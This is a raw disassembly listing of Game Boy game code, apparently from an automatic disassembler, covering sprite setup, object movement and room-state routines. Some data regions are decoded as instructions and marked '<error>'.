ld hl, $d401
ldi [hl], a
ld a, $00
ldi [hl], a
ld a, $1a
ldi [hl], a
ld a, $68
ldi [hl], a
ld a, $56
ldi [hl], a
ld a, $24
ld [$dbc8], a
ld a, $03
ldh [$ff00 + $9e], a
jp $090f
.l_9008:
call func_50f4
ld a, [$db94]
add a, $04
ld [$db94], a
xor a
ld [$c167], a
ret
ld a, [$c1aa]
cp $2e
jr nz, .l_9023
ld a, $17
ldh [$ff00 + $f2], a
.l_9023:
call func_093b
ld [$c16a], a
ld [$c137], a
ld [$c13e], a
call func_149b
call func_210f
ldh a, [$ff00 + $a3]
sub a, $02
ldh [$ff00 + $a3], a
ldh a, [$ff00 + $a2]
and $80
jr z, .l_9049
xor a
ldh [$ff00 + $a2], a
ld [$c149], a
ldh [$ff00 + $a3], a
.l_9049:
ld a, $6b
ldh [$ff00 + $9d], a
ld bc, $c010
ldh a, [$ff00 + $99]
ld hl, $ffa2
sub a, [hl]
ld hl, $c13b
add a, [hl]
sub a, $10
ldh [$ff00 + $d7], a
ld a, [$c1a9]
cp $01
jr z, .l_9089
ldh a, [$ff00 + $d7]
add a, $02
ld [bc], a
inc bc
ldh a, [$ff00 + $98]
add a, $00
ld [bc], a
ld a, [$c1a9]
ld e, $ae
cp $05
jr z, .l_9081
cp $04
ld e, $8e
jr nz, .l_9081
ld e, $8c
.l_9081:
inc bc
ld a, e
ld [bc], a
ld a, $10
inc bc
ld [bc], a
ret
.l_9089:
ldh a, [$ff00 + $98]
sub a, $08
ldh [$ff00 + $d8], a
ldh a, [$ff00 + $e7]
rl a
rl a
and $10
ldh [$ff00 + $da], a
xor a
ld h, a
ld l, a
ld a, $06
ldh [$ff00 + $d9], a
call func_1540
ret
call func_093b
call func_1495
ldh a, [$ff00 + $b7]
and a
jr nz, .l_90da
ld [$c167], a
ldh a, [$ff00 + $9c]
cp $06
jr nz, .l_90be
ld a, [$db94]
add a, $04
ld [$db94], a
.l_90be:
xor a
ldh [$ff00 + $9c], a
ld a, [$dba5]
and a
jr nz, .l_90d7
ldh a, [$ff00 + $f6]
cp $2b
jr nz, .l_90d7
ld a, $48
ld [$dbb1], a
ld a, $30
ld [$dbb2], a
.l_90d7:
jp $50f4
.l_90da:
ld e, $ff
ldh a, [$ff00 + $b7]
cp $30
jr c, .l_90f0
ld e, $4e
cp $40
jr c, .l_90f0
jr nz, .l_90ee
ld a, $03
ldh [$ff00 + $f3], a
.l_90ee:
ld e, $4c
.l_90f0:
ld a, e
ldh [$ff00 + $9d], a
ret
ld a, $40
ld [$dbc7], a
ld a, [$dbb1]
ldh [$ff00 + $98], a
ldh [$ff00 + $9f], a
ld a, [$dbb2]
ldh [$ff00 + $99], a
ldh [$ff00 + $a0], a
ld hl, $ffa2
sub a, [hl]
ld [$c145], a
call func_4d45
ldh a, [$ff00 + $ac]
and a
jr z, .l_911a
ld a, $01
ldh [$ff00 + $ac], a
.l_911a:
ret
dec c
di
nop
rst 38
ld [$0cf8], sp
push af
nop
nop
di
ld c, $f3
di
<error>
nop
ld b, $08
ld [$0406], sp
rst 38
rst 38
inc b
inc b
rst 38
rst 38
inc b
ld b, $08
ld [$0006], sp
nop
jr nz, .l_915f
jr nz, .l_9141
.l_9141:
nop
ld b, b
jr nz, .l_9145
.l_9145:
nop
jr nz, .l_9148
.l_9148:
nop
jr nz, .l_916b
ld a, [$c19b]
and $7f
cp $08
ldh a, [$ff00 + $9e]
jr c, .l_9158
add a, $04
.l_9158:
ld e, a
ld d, $00
ld hl, $5123
add hl, de
.l_915f:
ld a, [hl]
ldh [$ff00 + $d7], a
ld hl, $511b
add hl, de
ld a, [hl]
ldh [$ff00 + $d8], a
sla e
.l_916b:
ld hl, $512b
add hl, de
ldi a, [hl]
ldh [$ff00 + $d9], a
ld a, [hl]
ldh [$ff00 + $da], a
ld hl, $513b
add hl, de
ldi a, [hl]
ldh [$ff00 + $db], a
ld a, [hl]
ldh [$ff00 + $dc], a
ld de, $c010
ld bc, $c014
ld a, [$c145]
ld hl, $c13b
add a, [hl]
ld hl, $ffd7
add a, [hl]
ld [hl], a
ldh a, [$ff00 + $d9]
cp $ff
jr z, .l_9199
ld a, [hl]
ld [de], a
.l_9199:
ldh a, [$ff00 + $da]
cp $ff
jr z, .l_91a1
ld a, [hl]
ld [bc], a
.l_91a1:
inc de
inc bc
ldh a, [$ff00 + $d8]
ld hl, $ff98
add a, [hl]
ld [de], a
add a, $08
ld [bc], a
inc de
inc bc
ldh a, [$ff00 + $d9]
ld [de], a
ldh a, [$ff00 + $da]
ld [bc], a
inc de
inc bc
ldh a, [$ff00 + $db]
ld [de], a
ldh a, [$ff00 + $dc]
ld [bc], a
ret
inc b
<error>
<error>
inc b
inc b
inc b
<error>
inc b
ldh a, [$ff00 + $9e]
ld c, a
ld b, $00
ld hl, $51be
add hl, bc
ldh a, [$ff00 + $98]
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $51c2
add hl, bc
ldh a, [$ff00 + $99]
add a, [hl]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c3b0
add hl, de
ld [hl], d
jp .l_10cb
push bc
push de
ldh a, [$ff00 + $e8]
cp $40
jr z, .l_9236
ld a, [$dbd0]
and a
jr z, .l_9258
dec a
ld [$dbd0], a
call func_27e2
call func_525b
call func_5987
ld a, [hl]
or $40
ld [hl], a
ldh [$ff00 + $f8], a
ldh a, [$ff00 + $db]
and $f0
ldh [$ff00 + $ce], a
swap a
ld e, a
ldh a, [$ff00 + $dc]
and $f0
ldh [$ff00 + $cd], a
or e
ld e, a
ld d, $00
call func_20a6
ldh a, [$ff00 + $ce]
add a, $08
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $cd]
add a, $10
ldh [$ff00 + $d8], a
ld a, $02
call func_0953
jp .l_5258
.l_9236:
ld a, $06
call func_3c01
jr c, .l_9258
ld hl, $c280
add hl, de
dec [hl]
ldh a, [$ff00 + $db]
and $f0
add a, $08
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $dc]
and $f0
add a, $10
ld hl, $c210
add hl, de
ld [hl], a
.l_9258:
pop de
pop bc
ret
ld a, $04
ldh [$ff00 + $f4], a
ret
push bc
ldh a, [$ff00 + $f7]
cp $0a
ld a, $30
jr c, .l_926b
ld a, $3c
.l_926b:
call func_3c01
jr c, .l_9282
ld hl, $c200
add hl, de
ld [hl], $28
ld hl, $c210
add hl, de
ld [hl], $3c
ld hl, $c310
add hl, de
ld [hl], $70
.l_9282:
pop bc
ret
jr nc, .l_92b9
add a, c
ld bc, $5628
ld l, b
add a, a
or e
and $0a
ld bc, $0401
nop
ld bc, $0302
inc b
dec b
ld b, $07
xor a
ld [$d900], a
ld [$da00], a
ld a, [$c134]
and a
jr z, .l_92ab
dec a
ld [$c134], a
.l_92ab:
ldh a, [$ff00 + $cb]
and $20
jr z, .l_92ed
ldh a, [$ff00 + $cc]
and $40
jr .l_92ed
ld a, $01
.l_92b9:
ld [$d401], a
ld a, [$d479]
ld e, a
inc a
cp $0b
jr c, .l_92c6
xor a
.l_92c6:
ld [$d479], a
ld d, $00
ld hl, $5284
add hl, de
ld a, [hl]
ld [$d403], a
ld hl, $528f
add hl, de
ld a, [hl]
ld [$d402], a
ld a, $50
ld [$d404], a
ld a, $70
ld [$d405], a
ld hl, $fff2
ld [hl], $02
jp .l_0909
.l_92ed:
ld b, $00
ld c, $0f
.l_92f1:
ld a, c
ld [$c123], a
ld hl, $c510
add hl, bc
ld a, [hl]
and a
jr z, .l_9300
call func_535d
.l_9300:
dec c
ld a, c
cp $ff
jr nz, .l_92f1
ld a, [$c124]
and a
jr nz, .l_9332
ldh a, [$ff00 + $ac]
and a
jr z, .l_9332
cp $01
jr nz, .l_9333
ld hl, $ffad
ldh a, [$ff00 + $98]
sub a, [hl]
add a, $06
cp $0c
jr nc, .l_932d
ld hl, $ffae
ldh a, [$ff00 + $99]
sub a, [hl]
add a, $06
cp $0c
jr c, .l_9332
.l_932d:
ldh a, [$ff00 + $ac]
inc a
ldh [$ff00 + $ac], a
.l_9332:
ret
.l_9333:
ldh a, [$ff00 + $a2]
and a
jr nz, .l_935c
ld hl, $ffad
ldh a, [$ff00 + $98]
sub a, [hl]
add a, $05
cp $0a
jr nc, .l_935c
ld hl, $ffae
ldh a, [$ff00 + $99]
sub a, [hl]
add a, $05
cp $0a
jr nc, .l_935c
ld a, [$c15c]
and a
jr nz, .l_935c
call func_0915
xor a
ldh [$ff00 + $ac], a
.l_935c:
ret
push af
ld a, [$c124]
and a
jr nz, .l_9372
ld hl, $c520
add hl, bc
ld a, [hl]
and a
jr z, .l_9375
dec a
ld [hl], a
ldh [$ff00 + $d7], a
jr nz, .l_9375
.l_9372:
call func_56db
.l_9375:
pop af
dec a
rst 0
add hl, de
ld d, [hl]
sbc a, c
ld d, [hl]
sbc a, c
ld d, [hl]
sbc a, c
ld d, [hl]
pop hl
ld d, l
and a
ld d, l
ld d, b
ld d, l
jr c, .l_93dd
dec a
ld d, h
ld [bc], a
ld d, h
ld a, [bc]
ld d, l
ld de, $d256
ld d, e
nop
nop
ld [$0020], sp
ld [$2006], sp
nop
nop
ld b, $00
nop
ld [$0008], sp
nop
inc b
inc b
ld b, b
nop
inc b
inc b
ld b, b
nop
inc b
inc b
nop
nop
inc b
inc b
nop
nop
nop
ld [$0030], sp
ld [$3006], sp
nop
nop
ld b, $10
nop
ld [$1008], sp
nop
inc b
inc b
ld d, b
nop
inc b
inc b
ld d, b
nop
inc b
inc b
stop
nop
inc b
inc b
stop
ldh a, [$ff00 + $e7]
xor c
and $01
ret z
call func_56c5
ld hl, $c590
add hl, bc
ld a, [hl]
rl a
rl a
rl a
and $f8
ld e, a
ld d, b
ld hl, $5392
ldh a, [$ff00 + $e7]
and $02
jr z, .l_93f3
ld hl, $53b2
.l_93f3:
jp .l_562e
ldhl sp, d
nop
ld [$6c10], sp
ld l, [hl]
ld l, [hl]
ld l, h
nop
nop
jr nz, .l_9422
call func_56c5
ld a, [$c3c0]
ld e, a
ld d, $00
ld hl, $c030
add hl, de
push hl
pop de
push bc
ld c, $04
.l_9414:
ldh a, [$ff00 + $d8]
ld [de], a
inc de
ldh a, [$ff00 + $d9]
ld hl, $53f5
add hl, bc
add a, [hl]
ld [de], a
inc de
ld hl, $53f9
add hl, bc
ld a, [hl]
ld [de], a
inc de
ld hl, $53fd
add hl, bc
ld a, [hl]
ld [de], a
inc de
dec c
jr nz, .l_9414
pop bc
ld a, $04
call func_56ea
ret
ld a, [hl]
rr a
inc c
rr a
ld a, $02
ldh [$ff00 + $a1], a
ld [$c167], a
xor a
ld [$c155], a
ldh a, [$ff00 + $d7]
cp $02
jr nc, .l_9452
ld hl, $c167
ld [hl], b
.l_9452:
cp $de
jr nz, .l_945b
call func_525b
ld a, $de
.l_945b:
cp $a0
jr nz, .l_9464
ld hl, $fff4
ld [hl], $2a
.l_9464:
cp $0a
jr nz, .l_946f
ld a, $50
ld [$c5af], a
ld a, $0a
.l_946f:
cp $20
jr c, .l_9483
cp $9c
ret nc
ld e, $01
and $04
jr z, .l_947e
ld e, $fe
.l_947e:
ld a, e
ld [$c155], a
ret
.l_9483:
and $0f
cp $08
jp nz, .l_54f9
ldh a, [$ff00 + $d7]
rr a
rr a
rr a
and $02
ld e, a
ld d, b
ld hl, $5439
add hl, de
ldi a, [hl]
ldh [$ff00 + $d7], a
ld a, [hl]
ldh [$ff00 + $d8], a
ld a, $60
ldh [$ff00 + $ce], a
ldh a, [$ff00 + $f6]
cp $b5
ld a, $10
jr nz, .l_94af
ld a, $60
ldh [$ff00 + $ce], a
ld a, $10
.l_94af:
ldh [$ff00 + $cd], a
call func_2839
ld a, [$d600]
ld e, a
ld d, b
ld hl, $d601
add hl, de
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
ldi [hl], a
ld a, $41
ldi [hl], a
ldh a, [$ff00 + $d7]
ldi [hl], a
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
add a, $20
ldi [hl], a
ld a, $41
ldi [hl], a
ldh a, [$ff00 + $d8]
ldi [hl], a
ld [hl], b
ld a, e
add a, $08
ld [$d600], a
ld hl, $c520
add hl, bc
ld a, [hl]
cp $08
jr nz, .l_94f9
ld hl, $d727
ldh a, [$ff00 + $f6]
cp $b5
jr nz, .l_94f3
ld hl, $d727
.l_94f3:
ld [hl], $e3
ld a, $23
ldh [$ff00 + $f2], a
.l_94f9:
ret
nop
inc b
inc h
nop
nop
inc b
inc h
nop
nop
nop
ld e, $00
nop
ld [$601e], sp
call func_56c5
ldh a, [$ff00 + $d7]
and $08
ld d, $00
ld e, a
ld hl, $54fa
ld a, [$c14a]
and a
jp nz, .l_562e
add hl, de
ld de, $c000
call func_5649
jp $5649
nop
nop
ld e, $00
nop
ld [$601e], sp
nop
nop
jr nc, .l_9534
.l_9534:
nop
ld [$6030], sp
call func_56c5
ldh a, [$ff00 + $d7]
and $08
ld d, $00
ld e, a
ld hl, $5528
jp .l_562e
ld bc, $01ff
rst 38
ld bc, $ff01
rst 38
ldh a, [$ff00 + $d7]
cp $0a
jr c, .l_9572
ld hl, $c590
add hl, bc
ld e, [hl]
ld d, b
ld hl, $5548
add hl, de
ld a, [hl]
ld hl, $c530
add hl, bc
add a, [hl]
ld [hl], a
ld hl, $554c
add hl, de
ld a, [hl]
ld hl, $c540
add hl, bc
add a, [hl]
ld [hl], a
.l_9572:
call func_56c5
push bc
ld c, $3a
ldh a, [$ff00 + $d7]
cp $07
jr nc, .l_9580
ld c, $3c
.l_9580:
ld a, [$c3c0]
ld e, a
ld d, $00
ld hl, $c030
add hl, de
ldh a, [$ff00 + $d8]
ldi [hl], a
ldh a, [$ff00 + $d9]
ldi [hl], a
ld a, c
ldi [hl], a
xor a
ldi [hl], a
ldh a, [$ff00 + $d8]
ldi [hl], a
ldh a, [$ff00 + $d9]
add a, $08
ldi [hl], a
ld a, c
ldi [hl], a
ld [hl], $20
pop bc
ld a, $02
call func_56ea
ret
call func_56c5
ld a, [$c3c0]
ld e, a
ld d, $00
ld hl, $c030
add hl, de
ldh a, [$ff00 + $d8]
ldi [hl], a
ldh a, [$ff00 + $d9]
ldi [hl], a
ld a, $24
ldi [hl], a
ldh a, [$ff00 + $e7]
xor c
rl a
rl a
rl a
rl a
and $10
ld [hl], a
ld a, $01
call func_56ea
ret
nop
rst 38
inc a
nop
nop
rlc a
inc a
jr nz, .l_95da
.l_95da:
rst 38
ldd a, [hl]
nop
nop
rlc a
ldd a, [hl]
jr nz, .l_95af
push bc
ld d, [hl]
ldh a, [$ff00 + $d7]
and $08
ld d, $00
ld e, a
ld hl, $55d1
jp .l_562e
or $fe
jr .l_95f5
.l_95f5:
ldhl sp, d
ld a, [bc]
jr .l_9619
<error>
nop
jr .l_95fd
.l_95fd:
cp $08
jr .l_9621
nop
ld a, [$0018]
nop
ld c, $18
jr nz, .l_960c
<error>
jr .l_960d
.l_960d:
ld [bc], a
inc c
jr .l_9631
call func_56c5
ld hl, $5601
jr .l_9627
.l_9619:
call func_56c5
ld a, [$c1a7]
cp $02
.l_9621:
jp z, .l_566c
ld hl, $55f1
.l_9627:
ldh a, [$ff00 + $d7]
and $08
ld e, a
ld d, $00
add hl, de
push hl
ld a, [$c3c0]
ld e, a
ld d, $00
ld hl, $c030
add hl, de
push hl
pop de
pop hl
call func_5649
call func_5649
ld a, $02
call func_56ea
ret
ldh a, [$ff00 + $d8]
add a, [hl]
ld [de], a
inc hl
inc de
ldh a, [$ff00 + $d9]
add a, [hl]
ld [de], a
inc hl
inc de
ldi a, [hl]
ld [de], a
inc de
ldi a, [hl]
ld [de], a
inc de
ret
nop
nop
ld a, d
nop
nop
ld [$207a], sp
nop
nop
ld a, b
nop
nop
ld [$2078], sp
ldh a, [$ff00 + $d7]
and $08
ld d, $00
ld e, a
ld hl, $565c
jp .l_562e
nop
nop
ldd [hl], a
nop
nop
ld [$2032], sp
nop
nop
ldd [hl], a
nop
nop
ld [$2032], sp
nop
nop
jr nc, .l_968d
.l_968d:
nop
ld [$2030], sp
nop
nop
jr nc, .l_9695
.l_9695:
nop
ld [$2030], sp
call func_56c5
ldh a, [$ff00 + $d7]
cp $04
jr nz, .l_96b0
ld hl, $c510
add hl, bc
ld a, [hl]
cp $03
jr nz, .l_96b0
call func_5c92
jr .l_96b7
.l_96b0:
cp $04
jr nz, .l_96b7
call func_5d00
.l_96b7:
ldh a, [$ff00 + $d7]
rl a
and $18
ld d, $00
ld e, a
ld hl, $5679
jp .l_562e
ld hl, $c540
add hl, bc
ld a, [hl]
ldh [$ff00 + $d8], a
cp $88
jr nc, .l_96db
ld hl, $c530
add hl, bc
ld a, [hl]
ldh [$ff00 + $d9], a
cp $a8
jr c, .l_96e1
.l_96db:
ld hl, $c510
add hl, bc
xor a
ld [hl], a
.l_96e1:
ret
nop
ld [$1810], sp
jr nz, .l_9710
jr nc, .l_9722
sla a
sla a
ld e, a
ld a, [$c3c0]
add a, e
cp $60
jr c, .l_96f9
sub a, $60
.l_96f9:
ld [$c3c0], a
ld a, [$c3c1]
add a, e
ld [$c3c1], a
cp $60
jr c, .l_971a
ldh a, [$ff00 + $e7]
ld hl, $c123
add a, [hl]
and $07
ld e, a
.l_9710:
ld d, $00
ld hl, $56e2
add hl, de
ld a, [hl]
ld [$c3c0], a
.l_971a:
ret
ldh a, [$ff00 + $99]
ldh [$ff00 + $d8], a
ldh a, [$ff00 + $98]
ldh [$ff00 + $d7], a
ld a, $0e
ldh [$ff00 + $f2], a
ld a, $01
call func_0953
ret
cp $fd
ei
rst 30
ld hl, $c19f
ld a, [$c124]
or [hl]
ld hl, $c14f
or [hl]
jr nz, .l_975d
ld a, [$dba5]
and a
jr z, .l_975d
call func_5b15
ld a, [$c188]
and a
jr z, .l_975e
cp $02
ld a, $01
ldh [$ff00 + $a1], a
jr z, .l_975a
call func_5871
jr .l_975d
.l_975a:
call func_59e1
.l_975d:
ret
.l_975e:
ld a, [$c18c]
and a
jr z, .l_9793
ld e, $03
ld a, [$c18a]
ld c, a
.l_976a:
inc e
ld a, e
cp $08
jr z, .l_978e
srl c
jr nc, .l_976a
ld d, $00
ld hl, $5729
add hl, de
ld a, [$c18a]
and [hl]
ld [$c18a], a
ld a, e
ld [$c189], a
xor a
ld [$dbac], a
inc a
ld [$c188], a
ret
.l_978e:
xor a
ld [$c18c], a
ret
.l_9793:
ld a, [$c18d]
and a
jr nz, .l_979a
ret
.l_979a:
ld e, $03
ld a, [$c18b]
ld c, a
.l_97a0:
inc e
ld a, e
cp $08
jr z, .l_97c5
srl c
jr nc, .l_97a0
ld d, $00
ld hl, $5729
add hl, de
ld a, [$c18b]
and [hl]
ld [$c18b], a
ld a, e
ld [$c189], a
ld a, $02
ld [$c188], a
xor a
ld [$dbac], a
ret
.l_97c5:
xor a
ld [$c18d], a
ret
ld d, b
ld d, c
inc de
ld [de], a
ld de, $4210
ld b, e
ld b, l
inc de
ld d, l
ld de, $4612
stop
ld d, [hl]
ld e, b
ld e, c
inc de
ld [de], a
ld de, $4a10
ld c, e
ld c, l
inc de
ld e, l
ld de, $4e12
stop
ld e, [hl]
ld [bc], a
inc bc
inc de
ld [de], a
ld de, $1310
ld [de], a
ld de, $1310
ld [de], a
ld [de], a
inc de
stop
ld de, $1312
stop
ld de, $1011
inc de
ld [de], a
ld de, $1310
ld [de], a
ld [de], a
inc de
stop
ld de, $1312
stop
ld de, $1011
inc de
ld [de], a
ld [$0008], sp
nop
ld [$0008], sp
nop
ld [$0808], sp
nop
nop
ld [$0008], sp
nop
ld [$0000], sp
ld [$0008], sp
nop
ld [$0008], sp
ld [$1008], sp
stop
ld [$1008], sp
stop
ld [$0000], sp
nop
nop
nop
nop
nop
nop
ld bc, $1001
stop
ld bc, $1001
stop
ld b, e
adc a, h
add hl, bc
dec bc
ld b, e
adc a, h
add hl, bc
dec bc
ld b, h
ld [$0c0a], sp
ld b, h
ld [$0c0a], sp
inc b
ld [$0102], sp
inc b
ld [$0102], sp
inc b
ldhl sp, d
ld [$01ff], sp
ldhl sp, d
ld [$01ff], sp
ldhl sp, d
ld [$0104], sp
ld [bc], a
ld [$0104], sp
ld [bc], a
ld [$001e], sp
ld d, e
ld c, e
ld b, e
xor a
ldh [$ff00 + $e3], a
ldh [$ff00 + $e5], a
ld a, [$c189]
ld c, a
and a
jr z, .l_988b
xor a
.l_9883:
add a, $04
ld e, a
ld d, $00
dec c
jr nz, .l_9883
.l_988b:
ld hl, $5812
ld a, [$c189]
ld c, a
ld b, $00
add hl, bc
ld a, [hl]
ld hl, $c1d0
add hl, bc
add a, [hl]
ldh [$ff00 + $ce], a
ld hl, $5824
ldh a, [$ff00 + $e3]
ld c, a
add hl, bc
ld a, [$c189]
ld c, a
add hl, bc
ld a, [hl]
ld hl, $c1e0
add hl, bc
add a, [hl]
ldh [$ff00 + $cd], a
push de
call func_2839
pop de
ldh a, [$ff00 + $e3]
and a
jr z, .l_98bd
inc de
inc de
.l_98bd:
ld a, [$d600]
ld c, a
ld b, $00
add a, $05
ld [$d600], a
ld hl, $d601
add hl, bc
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
ldi [hl], a
ld a, $01
ldi [hl], a
push hl
ld hl, $57ca
add hl, de
ld a, [hl]
pop hl
ldi [hl], a
push hl
ld hl, $57cb
add hl, de
ld a, [hl]
pop hl
ld [hl], a
ldh a, [$ff00 + $e3]
and a
jr nz, .l_98f1
ld a, $09
ldh [$ff00 + $e3], a
jp .l_589d
.l_98f1:
xor a
inc hl
ld [hl], a
ld a, [$dbac]
add a, $01
ld [$dbac], a
ld a, [$dbac]
cp $08
jr nc, .l_9904
ret
.l_9904:
ldh a, [$ff00 + $e5]
and a
jr nz, .l_9919
xor a
ldh [$ff00 + $e3], a
ld a, e
add a, $24
ld e, a
ld d, $00
ldh [$ff00 + $e5], a
dec de
dec de
jp .l_589d
.l_9919:
xor a
ld [$c188], a
ld [$c1a8], a
xor a
ldh [$ff00 + $e5], a
ld a, [$c189]
ld c, a
ld b, $00
ld hl, $c1f0
add hl, bc
ld a, [hl]
ldh [$ff00 + $d7], a
ld a, c
and $07
ld c, a
.l_9934:
ld hl, $5836
add hl, bc
ld a, [hl]
ld hl, $ffd7
add a, [hl]
ld e, a
ld d, $00
ld hl, $5846
add hl, bc
ld a, [hl]
ld hl, $d711
add hl, de
ld [hl], a
ldh a, [$ff00 + $e5]
and a
jr nz, .l_9957
ld a, c
add a, $08
ldh [$ff00 + $e5], a
ld c, a
jr .l_9934
.l_9957:
call func_5987
push hl
pop bc
ld a, [$c189]
ld e, a
ld d, $00
ld hl, $5856
add hl, de
ld a, [bc]
or [hl]
ld [bc], a
ldh [$ff00 + $f8], a
ld hl, $585f
add hl, de
ld a, [$dbae]
add a, [hl]
ld e, a
call func_2b25
push hl
pop bc
ld a, [$c189]
ld e, a
ld d, $00
ld hl, $5868
add hl, de
ld a, [bc]
or [hl]
ld [bc], a
ret
ld hl, $d800
ldh a, [$ff00 + $f6]
ld e, a
ld a, [$dba5]
ld d, a
and a
jr z, .l_999f
ldh a, [$ff00 + $f7]
cp $1a
jr nc, .l_999f
cp $06
jr c, .l_999f
inc d
.l_999f:
add hl, de
ret
ld e, b
ld e, c
inc de
ld [de], a
ld de, $4a10
ld c, e
ld c, l
inc de
ld e, l
ld de, $4e12
stop
ld e, [hl]
ld b, b
ld b, c
ld e, b
ld e, c
ld c, d
ld c, e
ld d, d
ld d, e
ld b, h
ld c, l
ld d, h
ld e, l
ld c, [hl]
ld b, a
ld e, [hl]
ld d, a
ld [$0008], sp
nop
ld [$0008], sp
nop
nop
nop
ld [$0808], sp
ld [$1010], sp
nop
nop
nop
nop
ld bc, $1001
stop
dec [hl]
scf
add hl, sp
dec sp
ld [hl], $38
ldd a, [hl]
inc a
ld e, $00
ld d, e
ld c, e
ld b, e
xor a
ldh [$ff00 + $e3], a
ldh [$ff00 + $e4], a
ldh [$ff00 + $e5], a
ld a, [$c189]
sub a, $04
jr z, .l_99fe
ld c, a
xor a
.l_99f6:
add a, $04
ld e, a
ld d, $00
dec c
jr nz, .l_99f6
.l_99fe:
ld hl, $59bd
ld a, [$c189]
ld c, a
ld b, $00
add hl, bc
ld a, [hl]
ld hl, $c1d0
add hl, bc
add a, [hl]
ldh [$ff00 + $ce], a
ld hl, $59c5
ldh a, [$ff00 + $e3]
ld c, a
add hl, bc
ld a, [$c189]
ld c, a
add hl, bc
ld a, [hl]
ld hl, $c1e0
add hl, bc
add a, [hl]
ldh [$ff00 + $cd], a
ld a, [$dbb2]
sub a, $10
ld hl, $ffcd
sub a, [hl]
add a, $10
cp $20
jr nc, .l_9a4c
ld a, [$dbb1]
sub a, $08
ld hl, $ffce
sub a, [hl]
add a, $10
cp $20
jr nc, .l_9a4c
ldh a, [$ff00 + $98]
ld [$dbb1], a
ldh a, [$ff00 + $99]
ld [$dbb2], a
.l_9a4c:
push de
call func_2839
pop de
ldh a, [$ff00 + $e3]
and a
jr z, .l_9a58
inc de
inc de
.l_9a58:
ld a, [$d600]
ld c, a
ld b, $00
add a, $05
ld [$d600], a
ld hl, $d601
add hl, bc
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
ldi [hl], a
ld a, $01
ldi [hl], a
push hl
ld hl, $59a1
add hl, de
ld a, [hl]
pop hl
ldi [hl], a
push hl
ld hl, $59a2
add hl, de
ld a, [hl]
pop hl
ld [hl], a
ldh a, [$ff00 + $e3]
and a
jr nz, .l_9a8c
ld a, $04
ldh [$ff00 + $e3], a
jp .l_5a10
.l_9a8c:
xor a
inc hl
ld [hl], a
ld a, [$dbac]
add a, $01
ld [$dbac], a
ld a, [$dbac]
cp $08
jr nc, .l_9a9f
ret
.l_9a9f:
ldh a, [$ff00 + $e5]
and a
jr nz, .l_9ab4
xor a
ldh [$ff00 + $e3], a
ld a, e
add a, $10
ld e, a
ld d, $00
ldh [$ff00 + $e5], a
dec de
dec de
jp .l_5a10
.l_9ab4:
xor a
ld [$c188], a
ld [$c1a8], a
xor a
ldh [$ff00 + $e5], a
ld a, [$c189]
sub a, $04
ld c, a
ld b, $00
ld hl, $c1f4
add hl, bc
ld a, [hl]
ldh [$ff00 + $d7], a
.l_9acd:
ld hl, $59d1
add hl, bc
ld a, [hl]
ld hl, $ffd7
add a, [hl]
ld e, a
ld d, $00
ld hl, $59d9
add hl, bc
ld a, [hl]
ld hl, $d711
add hl, de
ld [hl], a
ldh a, [$ff00 + $e5]
and a
jr nz, .l_9af0
ld a, c
add a, $04
ldh [$ff00 + $e5], a
ld c, a
jr .l_9acd
.l_9af0:
ld hl, $d800
ld a, [$dba5]
and a
jr z, .l_9afc
ld hl, $d900
.l_9afc:
ldh a, [$ff00 + $f6]
ld e, a
ld d, $00
add hl, de
push hl
ld a, [$c189]
ld e, a
ld d, $00
ld hl, $5856
add hl, de
ld a, [hl]
cpl
pop hl
and [hl]
ld [hl], a
ldh [$ff00 + $f8], a
ret
ld a, [$c18e]
and a
jp z, .l_5bc8
call func_5d3f
ld a, [$c18e]
and $e0
srl a
srl a
srl a
srl a
srl a
rst 0
ld h, e
ld e, l
<error>
ld e, e
ccf
ld e, e
ld l, c
ld e, h
ret
ld e, e
xor a
ld e, e
rst 18
ld e, e
adc a, b
ld e, e
call func_5b75
ld c, $0f
ld b, $00
.l_9b46:
ld hl, $c340
add hl, bc
ld a, [hl]
and $80
jr nz, .l_9b6e
ld hl, $c280
add hl, bc
ld a, [hl]
cp $05
jr c, .l_9b6e
ld [hl], $01
ld hl, $c480
add hl, bc
ld [hl], $1f
ld hl, $c340
add hl, bc
ld a, [hl]
and $f0
or $02
ld [hl], a
ld a, $13
ldh [$ff00 + $f4], a
.l_9b6e:
dec c
ld a, c
cp $ff
jr nz, .l_9b46
ret
ldh a, [$ff00 + $f8]
and $10
jr nz, .l_9b86
ld a, [$c18f]
and a
jr z, .l_9b86
xor a
ld [$c18e], a
ret
.l_9b86:
pop af
ret
call func_5b75
ld a, $2f
call func_3c01
ld hl, $c200
add hl, de
ld [hl], $88
ld hl, $c210
add hl, de
ld [hl], $30
ld hl, $c450
add hl, de
ld [hl], $80
ld a, $88
ldh [$ff00 + $d7], a
ld a, $30
ldh [$ff00 + $d8], a
ld a, $02
jp .l_5bbc
call func_5b75
ld a, $88
ldh [$ff00 + $d7], a
ld a, $20
ldh [$ff00 + $d8], a
ld a, $04
call func_0953
call func_5987
ld a, [hl]
or $10
ld [hl], a
ldh [$ff00 + $f8], a
ret
call func_5b75
ldh a, [$ff00 + $f6]
cp $69
jr nz, .l_9bdb
call func_5987
ld a, [hl]
or $10
ld [hl], a
ldh [$ff00 + $f8], a
.l_9bdb:
call func_5260
ret
ldh a, [$ff00 + $f7]
ld e, a
ld d, $00
ld hl, $db65
add hl, de
ld a, [hl]
and $01
jr nz, .l_9c3c
ld a, [$c190]
and a
jr nz, .l_9bf6
call func_5c3d
.l_9bf6:
ld a, [$c18f]
and a
jr z, .l_9c3c
ld a, [$c18e]
cp $c1
jr nz, .l_9c2a
ldh a, [$ff00 + $f7]
ld e, a
ld d, $00
ld hl, $db65
add hl, de
ld a, [hl]
or $01
ld [hl], a
ld d, $00
ldh a, [$ff00 + $f6]
ld e, a
ld hl, $d900
ldh a, [$ff00 + $f7]
cp $1a
jr nc, .l_9c23
cp $06
jr c, .l_9c23
inc d
.l_9c23:
add hl, de
set 5, [hl]
ld a, $1b
ldh [$ff00 + $f2], a
.l_9c2a:
ld a, [$c190]
and a
jr z, .l_9c3c
xor a
ld [$c18e], a
ld a, $01
ld [$c18c], a
call func_525b
.l_9c3c:
ret
